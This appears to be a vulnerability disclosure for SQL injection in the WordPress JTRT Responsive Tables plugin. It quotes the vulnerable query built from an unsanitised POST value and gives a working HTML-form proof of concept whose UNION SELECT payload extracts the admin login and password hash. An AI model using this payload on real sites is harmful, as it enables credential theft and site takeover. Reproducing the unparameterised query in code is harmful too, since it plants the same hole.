File / Code:
 
Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php
 
Line :  183
 
$getTableId = $_POST['tableId'];
...
 
$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );
 
 
Proof of Concept:
 
1 – Log in with single user.
 
2 – Using form, sqli by post:
 
<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
   <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>
